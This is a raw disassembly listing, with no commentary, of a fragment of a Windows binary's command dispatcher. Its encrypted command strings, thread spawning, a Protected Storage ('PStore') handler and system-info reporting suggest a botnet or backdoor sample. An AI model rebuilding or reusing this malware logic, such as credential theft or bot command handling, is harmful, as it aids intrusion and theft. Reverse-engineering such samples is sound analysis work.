loc_40BA54:				; CODE XREF: sub_40A9FE+103Ej
		cmp	[ebp+arg_18], 0
		jz	loc_412FED


loc_40BA5E:				; CODE XREF: sub_40A9FE+1044j
		push	ebx


loc_40BA5F:				; CODE XREF: sub_40A9FE+85C6j
		push	edi


loc_40BA60:				; CODE XREF: sub_40A9FE+5CCBj
					; sub_40A9FE+8367j
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4


loc_40BA6A:				; CODE XREF: sub_40A9FE+5292j
		add	esp, 10h
		jmp	loc_412FED
; ---------------------------------------------------------------------------


loc_40BA72:				; CODE XREF: sub_40A9FE+F38j
					; sub_40A9FE+F4Aj
		push	dword ptr [ebx]
		push	offset aG3obv_r6j7h ; "g3obv.r6j7H/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40BAA9
		push	dword ptr [ebx+4]
		push	offset aErwc30qfw_p0 ; "eRWc30Qfw.P0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40BAA9
		push	offset aLtlec18us5q0 ; "LTLec18US5q0"
		push	12h
		jmp	loc_412B29
; ---------------------------------------------------------------------------


loc_40BA99:				; CODE XREF: sub_40A9FE+8134j
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [esi]
		jmp	loc_412CB2
; ---------------------------------------------------------------------------


loc_40BAA9:				; CODE XREF: sub_40A9FE+107Fj
					; sub_40A9FE+108Dj
		push	dword ptr [ebx]
		push	offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40BE03
		push	13h
		call	sub_42381F
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_40BB0D
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_40BAF5
		cmp	[ebp+arg_18], 0
		jnz	short loc_40BAFF
		push	eax
		push	ebx
		push	offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40BAF5:				; CODE XREF: sub_40A9FE+10D9j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40BAFF:				; CODE XREF: sub_40A9FE+10DFj
		push	[ebp+arg_C]
		push	ebx


loc_40BB03:				; CODE XREF: sub_40A9FE+13EBj
		push	offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_40BB0D:				; CODE XREF: sub_40A9FE+10C9j
		cmp	[ebp+arg_2C], 0
		mov	ecx, offset dword_443F2C
		jz	short loc_40BB1F
		mov	eax, [ebx+8]
		test	eax, eax
		jnz	short loc_40BB22


loc_40BB1F:				; CODE XREF: sub_40A9FE+1118j
		push	ecx
		jmp	short loc_40BB23
; ---------------------------------------------------------------------------


loc_40BB22:				; CODE XREF: sub_40A9FE+111Fj
		push	eax


loc_40BB23:				; CODE XREF: sub_40A9FE+1122j
		lea	eax, [ebp+var_59C]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		and	[ebp+var_4E4], 0
		mov	[ebp+var_5A0], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_4EC], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_4E8], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_4F0], eax
		push	dword ptr [ebx+4]
		push	offset aItx_n_wpamx_ ; "ITx.N.WPAmx."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40BC11
		push	offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		push	offset aSPstore	; "%s PStore"
		push	13h
		call	sub_4234A7
		add	esp, 0Ch
		mov	[ebp+var_51C], eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	offset sub_42521F
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_51C]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jnz	short loc_40BC04
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_40BBEB
		cmp	[ebp+arg_18], 0
		jnz	short loc_40BBF5
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40BBEB:				; CODE XREF: sub_40A9FE+11C9j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40BBF5:				; CODE XREF: sub_40A9FE+11CFj
		call	ebx ; dword_437170
		jmp	loc_40BDE3
; ---------------------------------------------------------------------------


loc_40BBFC:				; CODE XREF: sub_40A9FE+120Cj
		push	32h
		call	dword_437190	; Sleep


loc_40BC04:				; CODE XREF: sub_40A9FE+11B8j
		cmp	[ebp+var_4E4], edi
		jz	short loc_40BBFC
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40BC11:				; CODE XREF: sub_40A9FE+1169j
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_40BC34
		push	offset dword_43D664
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BC34
		mov	eax, [ebx+4]
		mov	[ebp+var_518], eax
		jmp	short loc_40BC3B
; ---------------------------------------------------------------------------


loc_40BC34:				; CODE XREF: sub_40A9FE+1218j
					; sub_40A9FE+1229j
		and	[ebp+var_518], 0


loc_40BC3B:				; CODE XREF: sub_40A9FE+1234j
		push	offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		push	offset aSPstore	; "%s PStore"
		push	13h
		call	sub_4234A7
		add	esp, 0Ch
		mov	[ebp+var_51C], eax
		lea	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_5A0]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_423846
		push	eax
		push	eax
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_51C]
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		imul	ecx, 2724h
		test	eax, eax
		mov	dword_46D72C[ecx], eax
		jnz	short loc_40BD01
		cmp	[ebp+arg_14], eax
		jnz	short loc_40BCB5
		cmp	[ebp+arg_18], eax
		jnz	short loc_40BCBB
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40BCB5:				; CODE XREF: sub_40A9FE+1290j
		cmp	[ebp+arg_18], 0
		jz	short loc_40BCDA


loc_40BCBB:				; CODE XREF: sub_40A9FE+1295j
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 18h


loc_40BCDA:				; CODE XREF: sub_40A9FE+12BBj
					; sub_40A9FE+130Cj
		push	0BB8h
		call	dword_437190	; Sleep
		cmp	[ebp+arg_2C], 0
		jz	short loc_40BCF2
		mov	eax, [ebx+8]
		test	eax, eax
		jnz	short loc_40BD0C


loc_40BCF2:				; CODE XREF: sub_40A9FE+12EBj
		push	offset dword_443F2C
		jmp	short loc_40BD0D
; ---------------------------------------------------------------------------


loc_40BCF9:				; CODE XREF: sub_40A9FE+130Aj
		push	32h
		call	dword_437190	; Sleep


loc_40BD01:				; CODE XREF: sub_40A9FE+128Bj
		cmp	[ebp+var_4E4], 0
		jz	short loc_40BCF9
		jmp	short loc_40BCDA
; ---------------------------------------------------------------------------


loc_40BD0C:				; CODE XREF: sub_40A9FE+12F2j
		push	eax


loc_40BD0D:				; CODE XREF: sub_40A9FE+12F9j
		lea	eax, [ebp+var_828]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		and	[ebp+var_770], 0
		mov	[ebp+var_82C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_778], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_774], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_77C], eax
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_40BD72
		push	offset dword_43D664
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BD68
		mov	eax, [ebx+4]
		mov	[ebp+var_7A4], eax
		jmp	short loc_40BD79
; ---------------------------------------------------------------------------


loc_40BD68:				; CODE XREF: sub_40A9FE+135Dj
		xor	ebx, ebx
		mov	[ebp+var_7A4], ebx
		jmp	short loc_40BD7B
; ---------------------------------------------------------------------------


loc_40BD72:				; CODE XREF: sub_40A9FE+134Cj
		and	[ebp+var_7A4], 0


loc_40BD79:				; CODE XREF: sub_40A9FE+1368j
		xor	ebx, ebx


loc_40BD7B:				; CODE XREF: sub_40A9FE+1372j
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_82C]
		push	ebx
		push	eax
		push	offset sub_425092
		push	ebx
		push	ebx
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_7A8]
		imul	ecx, 2724h
		cmp	eax, ebx
		mov	dword_46D72C[ecx], eax
		jnz	short loc_40BDF6
		cmp	[ebp+arg_14], ebx
		jnz	short loc_40BDD4
		cmp	[ebp+arg_18], ebx
		jnz	short loc_40BDDD
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40BDD4:				; CODE XREF: sub_40A9FE+13AFj
		cmp	[ebp+arg_18], ebx
		jz	loc_414995


loc_40BDDD:				; CODE XREF: sub_40A9FE+13B4j
		call	dword_437170	; RtlGetLastWin32Error


loc_40BDE3:				; CODE XREF: sub_40A9FE+11F9j
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		jmp	loc_40BB03
; ---------------------------------------------------------------------------


loc_40BDEE:				; CODE XREF: sub_40A9FE+13FEj
		push	32h
		call	dword_437190	; Sleep


loc_40BDF6:				; CODE XREF: sub_40A9FE+13AAj
		cmp	[ebp+var_770], ebx
		jz	short loc_40BDEE
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40BE03:				; CODE XREF: sub_40A9FE+10B6j
		push	dword ptr [ebx]
		push	offset aLndk50vzcqw0 ; "LNdk50vzCqW0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40BFDD
		mov	eax, [ebp+arg_10]
		xor	edi, edi
		cmp	[ebp+arg_2C], edi
		mov	[ebp+var_A28], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_970], eax
		lea	eax, [ebp+var_A24]
		jnz	loc_40BF43
		push	offset dword_443F2C
		push	eax
		call	dword_4370B4	; lstrcpyA
		cmp	[ebp+arg_30], edi
		jz	short loc_40BE65


loc_40BE48:				; CODE XREF: sub_40A9FE+1552j
		push	[ebp+var_970]
		lea	eax, [ebp+var_A24]
		push	[ebp+var_A28]
		push	eax
		call	sub_425568
		jmp	loc_40D35F
; ---------------------------------------------------------------------------


loc_40BE65:				; CODE XREF: sub_40A9FE+1448j
		mov	eax, [ebx+4]
		cmp	eax, edi
		jz	loc_40BF0B
		cmp	[ebx+8], edi
		jz	loc_40BF0B
		cmp	[ebx+0Ch], edi
		jz	loc_40BF0B
		push	eax
		call	sub_420E5B
		push	dword ptr [ebx+0Ch]
		mov	[ebp+arg_C], eax
		lea	eax, [ebp+var_5EC8]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 10h
		push	4
		pop	esi
		cmp	[ebp+arg_4], esi
		jle	short loc_40BEE4


loc_40BEAA:				; CODE XREF: sub_40A9FE+14E4j
		mov	eax, [ebx+esi*4]
		cmp	eax, edi
		jz	short loc_40BEDE
		push	eax
		lea	eax, [ebp+var_3F580]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_3F580]
		push	104h
		push	eax
		lea	eax, [ebp+var_5EC8]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40BEDE:				; CODE XREF: sub_40A9FE+14B1j
		inc	esi
		cmp	esi, [ebp+arg_4]
		jl	short loc_40BEAA


loc_40BEE4:				; CODE XREF: sub_40A9FE+14AAj
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_5EC8]
		push	eax
		push	[ebp+arg_C]


loc_40BEF1:				; CODE XREF: sub_40A9FE+15DAj
		push	[ebp+var_970]
		lea	eax, [ebp+var_A24]
		push	[ebp+arg_10]
		push	eax
		call	sub_4256F7
		jmp	loc_414927
; ---------------------------------------------------------------------------


loc_40BF0B:				; CODE XREF: sub_40A9FE+146Cj
					; sub_40A9FE+1475j ...
		mov	edi, offset aUhdhc1pcv9i ; "uhdhC1pCV9i/"


loc_40BF10:				; CODE XREF: sub_40A9FE+239Bj
					; sub_40A9FE+5786j ...
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	short loc_40BF3A
		cmp	[ebp+arg_18], 0


loc_40BF1F:				; CODE XREF: sub_40A9FE+57B9j
					; sub_40A9FE+816Cj
		jnz	loc_41478A
		push	ebx
		push	edi
		push	offset aSS_1	; "%s %s"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40BF3A:				; CODE XREF: sub_40A9FE+151Bj
					; sub_40A9FE+57B0j ...
		cmp	[ebp+arg_18], 0
		jmp	loc_414784
; ---------------------------------------------------------------------------


loc_40BF43:				; CODE XREF: sub_40A9FE+1433j
		push	dword ptr [ebx+4]
		push	eax
		call	dword_4370B4	; lstrcpyA
		cmp	[ebp+arg_30], edi
		jnz	loc_40BE48
		cmp	[ebx+4], edi
		jz	short loc_40BF0B
		mov	eax, [ebx+8]
		cmp	eax, edi
		jz	short loc_40BF0B
		cmp	[ebx+0Ch], edi
		jz	short loc_40BF0B
		cmp	[ebx+10h], edi
		jz	short loc_40BF0B
		push	eax
		call	sub_420E5B
		push	dword ptr [ebx+10h]
		mov	edi, eax
		lea	eax, [ebp+var_60CC]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 10h
		push	5
		pop	esi
		cmp	[ebp+arg_4], esi
		jle	short loc_40BFCD


loc_40BF93:				; CODE XREF: sub_40A9FE+15CDj
		mov	eax, [ebx+esi*4]
		test	eax, eax
		jz	short loc_40BFC7
		push	eax
		lea	eax, [ebp+var_13660]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_13660]
		push	104h
		push	eax
		lea	eax, [ebp+var_60CC]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40BFC7:				; CODE XREF: sub_40A9FE+159Aj
		inc	esi
		cmp	esi, [ebp+arg_4]
		jl	short loc_40BF93


loc_40BFCD:				; CODE XREF: sub_40A9FE+1593j
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_60CC]
		push	eax
		push	edi
		jmp	loc_40BEF1
; ---------------------------------------------------------------------------


loc_40BFDD:				; CODE XREF: sub_40A9FE+1410j
		push	dword ptr [ebx]
		push	offset a9ljbh07crkd_ ; "9lJBH07crkD."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40C121
		push	14h
		call	sub_42381F
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_40C007
		mov	ebx, offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
		jmp	loc_40B964
; ---------------------------------------------------------------------------


loc_40C007:				; CODE XREF: sub_40A9FE+15FDj
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_BBC], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_BC0], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_BB8], eax
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_C44]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		mov	edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		push	edi
		mov	ebx, offset aSS_ ; "%s %s."
		push	offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
		push	ebx
		push	14h
		mov	[ebp+var_C48], eax
		call	sub_4234A7
		add	esp, 10h
		mov	[ebp+var_BC4], eax
		lea	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_C48]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_425FFA
		push	eax
		push	eax
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_BC4]
		imul	ecx, 2724h
		test	eax, eax
		mov	dword_46D72C[ecx], eax
		jnz	short loc_40C0E2
		cmp	[ebp+arg_14], eax
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_40C0BE
		cmp	[ebp+arg_18], eax
		jnz	short loc_40C0C8
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40C0BE:				; CODE XREF: sub_40A9FE+169Dj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40C0C8:				; CODE XREF: sub_40A9FE+16A2j
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_40C0DA:				; CODE XREF: sub_40A9FE+16EBj
		push	32h
		call	dword_437190	; Sleep


loc_40C0E2:				; CODE XREF: sub_40A9FE+168Dj
		cmp	[ebp+var_BB4], 0
		jz	short loc_40C0DA
		cmp	[ebp+arg_14], 0
		jnz	short loc_40C10C
		cmp	[ebp+arg_18], 0
		jnz	short loc_40C116
		push	edi
		push	offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40C10C:				; CODE XREF: sub_40A9FE+16F1j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40C116:				; CODE XREF: sub_40A9FE+16F7j
		push	edi
		push	offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
		jmp	loc_40B0FB
; ---------------------------------------------------------------------------


loc_40C121:				; CODE XREF: sub_40A9FE+15EAj
		push	dword ptr [ebx]
		push	offset aRiocl1kztwo0 ; "rioCl1kzTWO0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40C287
		push	15h
		call	sub_42381F
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_40C14B
		mov	ebx, offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0"
		jmp	loc_40B964
; ---------------------------------------------------------------------------


loc_40C14B:				; CODE XREF: sub_40A9FE+1741j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_A38], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_A3C], eax
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_AE8]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_AEC], eax
		mov	ebx, [ebx+4]
		test	ebx, ebx
		jz	short loc_40C186
		push	ebx
		call	sub_42A100
		pop	ecx
		jmp	short loc_40C18D
; ---------------------------------------------------------------------------


loc_40C186:				; CODE XREF: sub_40A9FE+177Dj
		movzx	eax, word_44399C


loc_40C18D:				; CODE XREF: sub_40A9FE+1786j
		push	eax
		mov	edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		push	offset dword_457C40
		mov	ebx, offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0"
		push	edi
		push	ebx
		push	offset aSSOnSI	; "%s %s on: [%s:%i]"
		push	15h
		mov	[ebp+var_A4C], eax
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_A68], eax
		lea	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_AEC]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_4217A4
		push	eax
		push	eax
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_A68]
		imul	ecx, 2724h
		test	eax, eax
		mov	dword_46D72C[ecx], eax
		jnz	short loc_40C231
		cmp	[ebp+arg_14], eax
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_40C21A
		cmp	[ebp+arg_18], eax
		jnz	loc_41490F
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]


loc_40C20F:				; CODE XREF: sub_40A9FE+1E28j
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40C21A:				; CODE XREF: sub_40A9FE+17F5j
					; sub_40A9FE+1E07j
		cmp	[ebp+arg_18], 0
		jz	loc_414995
		jmp	loc_41490F
; ---------------------------------------------------------------------------


loc_40C229:				; CODE XREF: sub_40A9FE+183Aj
		push	32h
		call	dword_437190	; Sleep


loc_40C231:				; CODE XREF: sub_40A9FE+17EBj
		cmp	[ebp+var_A30], 0
		jz	short loc_40C229
		cmp	[ebp+arg_14], 0
		jnz	short loc_40C266
		cmp	[ebp+arg_18], 0
		jnz	short loc_40C270
		push	[ebp+var_A4C]
		push	offset dword_457C40
		push	edi
		push	ebx
		push	offset aSSOnSI_0 ; "%s %s on: (%s:%i)"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_40C266:				; CODE XREF: sub_40A9FE+1840j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40C270:				; CODE XREF: sub_40A9FE+1846j
		push	[ebp+var_A4C]
		push	offset dword_457C40
		push	edi
		push	ebx
		push	offset aSSOnSI_0 ; "%s %s on: (%s:%i)"
		jmp	loc_414988
; ---------------------------------------------------------------------------


loc_40C287:				; CODE XREF: sub_40A9FE+172Ej
		push	dword ptr [ebx]
		push	offset a_swwg1hqeii1 ; ".SWwg1hqeiI1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40C2A0
		push	offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0"
		push	15h
		jmp	loc_412B29
; ---------------------------------------------------------------------------


loc_40C2A0:				; CODE XREF: sub_40A9FE+1894j
		push	dword ptr [ebx]
		push	offset aS3dyJzo6r_0 ; "s3dY//JZo6r/"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_41492C
		push	dword ptr [ebx]
		push	offset aDo5oa0u5m7_ ; "dO5oA/0U5m7."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_41492C
		push	dword ptr [ebx]
		push	offset aKe3l20ufrlq0 ; "kE3L20Ufrlq0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40C4A1
		lea	eax, [ebp+var_30]
		push	eax
		call	dword_4370D0	; QueryPerformanceCounter
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_43718C	; QueryPerformanceFrequency
		xor	eax, eax
		cmp	[ebp+var_2C], eax
		jl	short loc_40C32E
		jg	short loc_40C2F5
		cmp	[ebp+var_30], eax
		jbe	short loc_40C32E


loc_40C2F5:				; CODE XREF: sub_40A9FE+18F0j
		cmp	[ebp+var_34], eax
		jl	short loc_40C32E
		jg	short loc_40C301
		cmp	[ebp+var_38], eax
		jbe	short loc_40C32E


loc_40C301:				; CODE XREF: sub_40A9FE+18FCj
		push	[ebp+var_34]
		push	[ebp+var_38]
		push	[ebp+var_2C]
		push	[ebp+var_30]
		call	sub_42B2F0
		mov	dword ptr [ebp+var_C], eax
		mov	dword ptr [ebp+var_C+4], edx
		fild	[ebp+var_C]
		push	ecx
		push	ecx		; double
		fstp	[esp+14h+var_14]
		call	sub_42A706
		pop	ecx
		pop	ecx
		call	sub_42A9E0
		jmp	short loc_40C334
; ---------------------------------------------------------------------------


loc_40C32E:				; CODE XREF: sub_40A9FE+18EEj
					; sub_40A9FE+18F5j ...
		call	dword_437188	; GetTickCount


loc_40C334:				; CODE XREF: sub_40A9FE+192Ej
		xor	ebx, ebx
		mov	edi, eax
		inc	ebx
		push	ebx
		push	0
		push	edi
		call	sub_41B9F8
		push	eax
		lea	eax, [ebp+var_D90]
		push	eax
		call	sub_429B03
		push	ebx
		push	dword_457E58
		push	edi
		call	sub_41B9F8
		push	eax
		lea	eax, [ebp+var_D28]
		push	eax
		call	sub_429B03
		push	ebx
		push	dword_457F60
		push	edi
		call	sub_41B9F8
		push	eax
		lea	eax, [ebp+var_D5C]
		push	eax
		call	sub_429B03
		mov	edi, 2710h
		lea	eax, [ebp+var_6B4A0]
		push	edi
		push	0
		push	eax
		call	sub_429760
		add	esp, 48h
		push	8
		call	sub_423800
		test	eax, eax
		pop	ecx
		jle	short loc_40C3B9
		push	0Dh
		call	sub_423800
		cmp	eax, ebx
		pop	ecx
		jge	short loc_40C3B9
		push	offset aTarxm0mtxpp_ ; "tArXm0mtxpp."
		jmp	short loc_40C40D
; ---------------------------------------------------------------------------


loc_40C3B9:				; CODE XREF: sub_40A9FE+19A6j
					; sub_40A9FE+19B2j
		push	0Dh
		call	sub_423800
		test	eax, eax
		pop	ecx
		jle	short loc_40C3D8
		push	8
		call	sub_423800
		cmp	eax, ebx
		pop	ecx
		jge	short loc_40C3D8
		push	offset aQ3bef_grjcn1aa ; "Q3BEf.grJCN1aA/Td0EX07M1"
		jmp	short loc_40C40D
; ---------------------------------------------------------------------------


loc_40C3D8:				; CODE XREF: sub_40A9FE+19C5j
					; sub_40A9FE+19D1j
		push	0Dh
		call	sub_423800
		test	eax, eax
		pop	ecx
		jg	short loc_40C41F
		push	8
		call	sub_423800
		test	eax, eax
		pop	ecx
		jg	short loc_40C41F
		push	0Dh
		call	sub_423800
		cmp	eax, ebx
		pop	ecx
		jl	short loc_40C408
		push	8
		call	sub_423800
		cmp	eax, ebx
		pop	ecx
		jge	short loc_40C43E


loc_40C408:				; CODE XREF: sub_40A9FE+19FCj
		push	offset aPJs70eukyp0 ; "P/JS70EukYp0"


loc_40C40D:				; CODE XREF: sub_40A9FE+19B9j
					; sub_40A9FE+19D8j
		lea	eax, [ebp+var_6B4A0]
		push	edi
		push	eax
		call	sub_429BBE
		add	esp, 0Ch
		jmp	short loc_40C43E
; ---------------------------------------------------------------------------


loc_40C41F:				; CODE XREF: sub_40A9FE+19E4j
					; sub_40A9FE+19F0j
		push	offset aQ3bef_grjcn1aa ; "Q3BEf.grJCN1aA/Td0EX07M1"
		push	offset aTarxm0mtxpp_ ; "tArXm0mtxpp."
		push	offset aSAndS	; "%s and %s"
		lea	eax, [ebp+var_6B4A0]
		push	edi
		push	eax
		call	sub_429BBE
		add	esp, 14h


loc_40C43E:				; CODE XREF: sub_40A9FE+1A08j
					; sub_40A9FE+1A1Fj
		lea	eax, [ebp+var_D5C]
		lea	ecx, [ebp+var_D90]
		push	eax
		lea	eax, [ebp+var_D28]
		push	offset aXg4wo0gh6fy0p9 ; "xg4wO0Gh6FY0p9CIj.BYYVY."
		push	eax
		mov	eax, offset aNI427pnt0 ; "n/i4//27pnT0"
		cmp	[ebp+arg_18], 0
		push	eax
		push	ecx
		push	eax
		lea	eax, [ebp+var_6B4A0]
		push	offset aOgyzo1Qmpy1 ; "OGyZo1/qmpy1"
		push	eax
		push	offset a2ms3c_kjtek0 ; "2MS3c.kJTeK0"
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset aSSSSSSSSSS ; "%s %s %s,	%s %s (%s), %s (%s), %s	(%s)"
		jnz	short loc_40C48D
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		jmp	short loc_40C497
; ---------------------------------------------------------------------------


loc_40C48D:				; CODE XREF: sub_40A9FE+1A80j
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4


loc_40C497:				; CODE XREF: sub_40A9FE+1A8Dj
		add	esp, 34h
		mov	eax, ebx
